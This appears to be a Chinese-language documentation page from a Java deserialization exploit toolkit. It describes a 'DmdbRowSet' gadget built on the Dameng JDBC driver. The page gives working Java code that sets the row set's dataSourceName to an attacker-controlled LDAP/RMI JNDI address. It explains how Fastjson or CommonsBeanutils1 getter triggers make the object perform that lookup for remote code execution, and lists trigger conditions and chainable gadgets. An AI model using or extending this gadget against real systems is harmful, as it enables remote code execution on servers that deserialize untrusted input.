- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
com.dameng:DmJdbcDriver18:8.1.2.141
构造一个达梦数据库驱动里的 dm.jdbc.driver.DmdbRowSet 对象,并把它的 dataSourceName 设为攻击者可控的 JNDI 地址。当上游 gadget 触发本对象的 getConnection()(即读取 connection 属性的 getter)时,DmdbRowSet 会以 dataSourceName 为名做一次 JNDI 查找,从而把「任意 getter 触发」转化为 JNDI 注入(RCE / 探测)。是 RowSet 系 JNDI sink 的达梦变体,与 JdbcRowSetImpl 同理。
- 入口
tags: - 衔接
nextTags:无(终点,JNDI 查找即终态,后续由外部 LDAP/RMI 服务接管)。 excludes:无。
@GadgetTags(tags={"DataSourceChains", "Getter", "END"})
public class DmdbRowSet implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public Object getObject() throws Exception {
dm.jdbc.driver.DmdbRowSet dmdbRowSet = new dm.jdbc.driver.DmdbRowSet();
dmdbRowSet.setDataSourceName(this.jndiUrl); // 把 JNDI 地址写入 dataSourceName
dmdbRowSet.setReader(null); // 置空可序列化障碍字段
dmdbRowSet.setWriter(null);
return dmdbRowSet;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class); // 声明目标属于 DataSource 类型
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // 告知上游要调用的方法名
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection"); // 告知上游要触发的属性名
return this.getObject();
}
}逐段解释:
getObject()直接new DmdbRowSet(),调用其setDataSourceName(jndiUrl)。javax.sql.rowset.BaseRowSet体系中,getConnection()内部会用dataSourceName做InitialContext().lookup(dataSourceName),这正是 JNDI 注入点。setReader(null)/setWriter(null)是把可能阻碍序列化或造成 NPE 的字段清空。invoke()与内层无关(它不调用chain.doCreate),只通过GadgetContext向上游 getter 触发器注入三条元信息:目标父类型DataSource、要调用的方法getConnection、对应属性名connection。上游(如CommonsBeanutils1的BeanComparator、或Fastjson的JSONArray.toString)读取GETTER_PARAM_NAME_KEY后,就会对本对象调用getConnection(),从而落地 JNDI 查找。
触发条件:目标 classpath 存在达梦驱动 DmJdbcDriver18;且需一个能触发 getter 的上游 gadget;JNDI 注入能否 RCE 还取决于目标 JDK 版本与 LDAP/RMI 可达性。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
jndi地址 | getConnection() 时用于 JNDI lookup 的地址 |
ldap://127.0.0.1:1389/x |
任意 LDAP/RMI URL |
- 依赖达梦 JDBC 驱动
com.dameng:DmJdbcDriver18:8.1.2.141;DmdbRowSet继承自标准javax.sql.rowset体系,其getConnection()使用dataSourceName走 JNDI,与com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()→connect()属同一类「RowSet + JNDI」思路。 - 本身是纯 sink,能否成功取决于「上游 getter 触发器」是否可用,以及 JNDI 高版本 JDK 绕过条件。
自由构件,未直接出现在预设链(usedInChains 为空)。可与任意「触发 getter」的上游自由组合。
- 上游(
nextTags含DataSourceChains的 getter 触发器):Fastjson、Fastjson2、CommonsBeanutils1。 - 同类(其它 DataSource / RowSet 系 JNDI 或 JDBC sink):DruidDataSource、DruidDataSource2、
JdbcRowSetImpl、OracleJDBCRowSet等。